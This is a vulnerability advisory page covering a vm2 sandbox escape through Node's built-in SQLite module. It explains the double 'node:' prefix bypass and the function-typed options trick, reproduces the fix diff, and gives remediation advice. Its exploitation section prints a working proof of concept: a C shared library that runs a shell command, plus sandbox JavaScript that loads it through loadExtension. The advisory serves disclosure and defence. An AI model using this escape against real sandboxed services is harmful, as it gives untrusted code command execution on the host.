CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-92938

CVE-2026-92938: Remote Code Execution in vm2 via node:sqlite DatabaseSync Sandbox Escape

Amit Schendel
Amit Schendel
Senior Security Researcher

Oct 2, 2026·8 min read·2 visits

Executive Summary (TL;DR)

A critical sandbox escape in vm2 allowed attackers to execute native shellcode outside the sandbox by loading raw, unsanitized versions of the Node.js built-in node:sqlite module via nested protocol prefixes and function-based properties options bypasses.

CVE-2026-92938 is a critical sandbox escape vulnerability in the vm2 library (versions 3.11.3 through 3.11.6) that allows arbitrary native code execution on the host when the node:sqlite built-in module is loaded inside a sandboxed NodeVM environment.

Vulnerability Overview

The vm2 library is an archived Node.js execution sandbox designed to run untrusted code by isolating variables and enforcing strict execution limits using JavaScript proxy layers. This library attempts to prevent escape by wrapping all host-side native objects and built-in modules in protective layers. It restricts untrusted code from modifying property definitions, ascending the prototype chain, or accessing execution-critical modules on the host. Historically, the library has faced numerous boundary escapes arising from the mismatch between the high dynamic flexibility of JavaScript runtimes and the static constraints of sandbox environments.

This specific vulnerability is cataloged as CWE-693 (Protection Mechanism Failure). It exists within the intersection of the sandbox's module resolution pipeline and the native SQLite engine built-in module (node:sqlite) added in newer versions of Node.js. Under specific environments where node:sqlite is exposed to the sandbox execution context, the boundary guarantees fail completely. This enables untrusted scripts to invoke host-realm operating system functions and dynamically load malicious compiled libraries directly into the host process memory.

Two specific architectural flaws make this escape possible. First, the sandbox's internal import system fails to accurately filter double-prefixed module paths such as node:node:sqlite. Second, the proxy boundary wrapper fails to intercept functional option structures passed to host-side native classes, which leaves the dangerous extension-loading mechanics of the SQLite engine active.

As a consequence, any system utilizing vm2 to isolate third-party extensions, user-submitted code, or multi-tenant plugins is exposed to arbitrary remote code execution on the server hosting the process. The vulnerability requires no authentication from the perspective of the application executing the sandbox, as the exploit code runs directly inside the guest VM instance and transitions control to the host operating system.

Root Cause Analysis: Bypass Mechanisms

The first phase of the exploit involves bypassing the import path sanitation checks in lib/setup-node-sandbox.js. When a sandboxed application requests a built-in module via require(), the framework normalizes the import path. Prior to the fix, the parser checked if a string started with the node: protocol prefix. If verified, the engine stripped exactly one instance of this prefix using substring slicing (filename.slice(5)) and processed the remainder. If an attacker imports node:node:sqlite, the outer node: is stripped, producing node:sqlite. Because this resolved identifier matches a registered safe key in the internal map, the engine loads the module but fails to subject the instance to downstream canonical validation paths, loading a raw version of node:sqlite.

Once the module is loaded, the second bypass targets the runtime proxy boundary. The architecture uses vm.readonly() wrappers to intercept modification operations on host properties. This mechanism uses a JavaScript Proxy object that implements a set trap to reject property reassignments. However, the proxy does not interfere with standard execution invocation (apply traps). When the sandbox script executes methods on the wrapped object, the application transfers control directly to the native host-realm function. This allows the sandbox to use the host process's system authority without constraint.

The native Node.js DatabaseSync constructor accepts an configuration parameters block. Crucially, the option flag allowExtension controls whether SQLite can load native shared libraries. By setting this property to true during instantiation, code execution becomes possible via DatabaseSync.prototype.loadExtension(). Since JavaScript functions are standard objects that can carry dynamic attributes, passing a functional object configured with options.allowExtension = true bypassed the validation routines, which only checked traditional object literal structures.

Code-Level Analysis and Patch Breakdown

To correct this vulnerability, the development team updated two core files within the repository. The fix is concentrated within commit aa146a77f859325e079f3bfbfe6d8309af483daa.

In lib/setup-node-sandbox.js, the module import parsing logic was modified to strictly block double-prefixed paths. The following code diff shows how the patch prevents recursive bypass attempts:

// lib/setup-node-sandbox.js
 if (localStringPrototypeStartsWith(filename, 'node:')) {
     id = localStringPrototypeSlice(filename, 5);
+    // Reject nested node: prefixes to prevent registration bypasses
+    if (localStringPrototypeStartsWith(id, 'node:')) {
+        throw new VMError(`Cannot find module '${filename}'`, 'ENOTFOUND');
+    }
     // Fall back to registration lookup
     let nmod = cacheBuiltins[id];

In addition to fixing the import path, the second code fix is located in lib/builtin.js. The framework now intercepts the native DatabaseSync module and dynamically subclasses it. This subclass forces the allowExtension parameter to false regardless of how the calling script tries to configure it, neutralizing both standard objects and function-typed options objects:

// lib/builtin.js
function sanitizeSqliteModule(mod) { 
	const HostDatabaseSync = mod.DatabaseSync;
	if (typeof HostDatabaseSync !== 'function') return mod;
	const copy = Object.assign({}, mod);
	class DatabaseSync extends HostDatabaseSync {
		constructor(location, ...rest) {
			// Intercept parameters of type 'object' and 'function' to force extensions off
			if (rest.length > 0 && rest[0] !== null &&
				(typeof rest[0] === 'object' || typeof rest[0] === 'function')) {
				rest[0] = Object.assign({}, rest[0], {allowExtension: false});
			}
			super(location, ...rest);
		}
	}
	copy.DatabaseSync = DatabaseSync;
	return copy;
}

This patch is highly specific to the node:sqlite module. However, because it relies on individual subclass modifications to defend against specific built-in capabilities, this design remains fundamentally fragile. If Node.js introduces new native APIs with similar execution capabilities, similar proxy escapes are highly likely to occur. This underlying fragility eventually led to the project being deprecated.

Exploitation & Proof-of-Concept Walkthrough

For an attacker to successfully exploit this vulnerability, the target environment must meet specific conditions. First, the host server must run a version of Node.js that includes the native node:sqlite module. Second, the host application must configure the vm2 instance to allow imports of node:sqlite or permit wildcard imports using the configuration option builtin: ['*'].

The attack begins by packaging a malicious binary library, such as exploit.so on Linux or exploit.dylib on macOS. This binary is compiled with an initialization constructor that runs whenever the library is dynamically loaded into memory:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
__attribute__((constructor)) void init() {
    // Escapes the process and executes host shell commands
    system("id > /tmp/compromised.txt");
}

Once the binary is compiled and placed in a path reachable by the host process, the attacker executes the following JavaScript payload inside the sandbox environment:

const { DatabaseSync } = require('node:node:sqlite');
 
// Create a function object to bypass object-only filters
function options() {}
options.allowExtension = true;
 
// Instantiate the database using the bypass options block
const db = new DatabaseSync(':memory:', options);
 
// Trigger the dynamic linker to execute the native payload
try {
    db.loadExtension('/path/to/exploit.so');
} catch (e) {
    // The operating system linker handles the load before runtime errors occur
}

When DatabaseSync initializes with the functional options payload, the native constructor receives allowExtension: true. When loadExtension() executes, the host process invokes the operating system's standard dynamic library load functions (such as dlopen). This imports the shared binary into the memory space of the main Node.js process and executes the payload outside the sandbox boundary.

Impact and Security Risk Assessment

The impact of CVE-2026-92938 is classified as Critical, carrying an NVD CVSS v3.1 base score of 9.9. The scope metric is explicitly evaluated as Changed (S:C), reflecting that an exploit successfully crosses security boundaries. This allows code running in the isolated guest environment to execute commands directly on the host machine. The Confidentiality, Integrity, and Availability impact scores are all rated as High (C:H/I:H/A:H).

When an attacker achieves native remote code execution on the host system, they assume the same execution privileges as the running Node.js process. If the application runs under a privileged system user, the attacker can access sensitive system credentials, alter system configurations, or write persistent backdoor access points. If the system runs inside a container, the exploit allows the attacker to compromise container resources, read sensitive environment variables, and map the surrounding internal network.

While the EPSS score is currently measured at 0.00616 (representing a 47.61% percentile rank), this indicates a relatively low volume of automated mass scanning rather than a low risk. Because the exploit requires specific conditions, such as having access to a sandbox interface and finding specific Node.js versions, it is highly targeted. Organizations that rely on vm2 to host untrusted code remain highly vulnerable to targeted attacks.

Remediation, Hardening, and Migration Guidance

To mitigate this vulnerability, system administrators and developers must take immediate action. The primary and most direct mitigation is to update vm2 to version 3.11.7 or later. This version contains the required path resolution fixes and argument checks to secure the DatabaseSync module.

If you cannot update the library immediately, you should modify the NodeVM options to explicitly disable imports of the node:sqlite module. Do not use wildcard configurations like builtin: ['*']. Instead, use strict allowlists to restrict access to only the minimum required modules:

const { NodeVM } = require('vm2');
const vm = new NodeVM({
    require: {
        builtin: ['path', 'crypto'], // Explicitly exclude 'node:sqlite' and 'sqlite'
        external: false
    }
});

Because the vm2 library is officially deprecated and archived, upgrading to 3.11.7 should only be treated as a temporary measure. The developers of vm2 advise migrating all sandboxed environments to more secure alternatives. Software architects should consider using V8 isolate-based isolation libraries like isolated-vm. For running highly untrusted code, you should isolate executing tasks at the operating system level using lightweight micro-virtualization tools like Firecracker, or container sandboxes like gVisor.

Fix Analysis (1)

Technical Appendix

CVSS Score
9.9/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.62%
Top 52% most exploited

Affected Systems

vm2 (npm package)

Affected Versions Detail

Product
Affected Versions
Fixed Version
vm2
patriksimek
>= 3.11.3, <= 3.11.63.11.7
AttributeDetail
CWE IDCWE-693
Attack VectorNetwork / Input-driven
CVSS v3.1 Score9.9 (Critical)
CVSS v4.0 Score9.4 (Critical)
EPSS Score0.00616 (Percentile: 47.61%)
Exploit StatusProof-of-Concept fully verified
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1211Exploitation for Defense Evasion
Defense Evasion
T1127Trusted Developer Utilities Proxy Execution
Defense Evasion
CWE-693
Protection Mechanism Failure

The product does not use or incorrectly reconstructs a protection mechanism, allowing attackers to bypass critical security boundaries.

Known Exploits & Detection

GitHub Security AdvisoryFull vulnerability details and official regression test cases showing sandbox escape vectors via node:sqlite.

References & Sources

  • [1]GitHub Security Advisory GHSA-6w8r-xxw2-g3hx
  • [2]Official Patch Commit
  • [3]Official Release v3.11.7
  • [4]VulnCheck Advisory
  • [5]NVD CVE Record
  • [6]CVE.org Authoritative Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-92937
10.0

CVE-2026-92937: Sandbox Escape leading to Remote Code Execution via Promise Indirection in vm2

CVE-2026-92937 is a critical sandbox escape vulnerability in the `vm2` Node.js library. Due to a logical failure in checking direct invocation targets inside the Proxy bridge, an attacker can register Promise callbacks using `Function.prototype.call` or `Function.prototype.apply` indirection. This bypasses the error sanitization wrappers, delivering raw host error objects directly to sandboxed callbacks and allowing the attacker to escape the sandbox and execute arbitrary shell commands on the host.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 3 hours ago•CVE-2026-92935
9.5

CVE-2026-92935: Remote Code Execution via Array-Shaped Require Config in vm2 NodeVM Sandbox

CVE-2026-92935 is a critical sandbox escape and remote code execution vulnerability in the vm2 library. By supplying an array or exotic object to the require property of NodeVM while nesting is enabled, attackers can bypass security checks, load the host vm2 module, and run arbitrary shell commands on the hosting server.

Alon Barad
Alon Barad
5 views•7 min read
•about 4 hours ago•CVE-2026-92949
4.0

CVE-2026-92949: Sandbox Escape and State Mutation in vm2 via Accessor Property Descriptor Leak

CVE-2026-92949 is a sandbox bypass vulnerability in the vm2 library affecting versions 3.9.6 through 3.11.6. The flaw exists due to a breakdown in the ReadOnlyHandler proxy boundary, allowing sandboxed scripts to obtain direct references to wrapped property setters on frozen host-bound objects, ultimately leading to unauthorized state modification in the host environment. This security failure violates the read-only contract enforced by the sandbox for frozen/readonly objects, though it does not by itself allow a full execution-level realm escape. Due to systemic and structural design difficulties in securing a shared-runtime JavaScript sandbox, the vm2 library has been officially deprecated.

Amit Schendel
Amit Schendel
5 views•7 min read
•about 5 hours ago•CVE-2026-92957
9.9

CVE-2026-92957: Sandbox Escape and Remote Code Execution in vm2 via node: Prefix Policy Bypass

A vulnerability in the NodeVM component of the vm2 sandbox package through version 3.11.6 allows sandboxed code to bypass security policies restricting access to built-in modules. When a wildcard require policy is configured with negative deny entries using the 'node:' prefix (e.g., '-node:child_process'), the parser fails to recognize the exemption due to exact string comparison. As a result, the unmitigated module is registered, allowing sandboxed code to import the host child_process module and execute arbitrary system commands.

Alon Barad
Alon Barad
5 views•6 min read
•about 6 hours ago•CVE-2026-92958
8.5

CVE-2026-92958: Built-in Module Denylist Bypass via fs/promises in vm2 NodeVM Subsystem

CVE-2026-92958 is a high-severity sandbox escape and denylist bypass vulnerability within the NodeVM subsystem of the vm2 sandboxing library. When configuring wildcards with negative deny entries, exact-string matches fail to block subpaths like fs/promises. Sandboxed code can import these subpaths to bypass isolation and execute arbitrary filesystem operations on the host.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 7 hours ago•CVE-2026-92951
9.9

CVE-2026-92951: Sandbox Escape via External Package Allowlist Bypass in vm2

An incorrect authorization and directory traversal vulnerability in the vm2 library before version 3.11.7 allows remote attackers to bypass the sandbox's external package allowlist. This flaw permits sandboxed code to resolve and execute arbitrary packages available on the host filesystem under host privileges, leading to unauthenticated sandbox escape and host code execution.

Alon Barad
Alon Barad
6 views•6 min read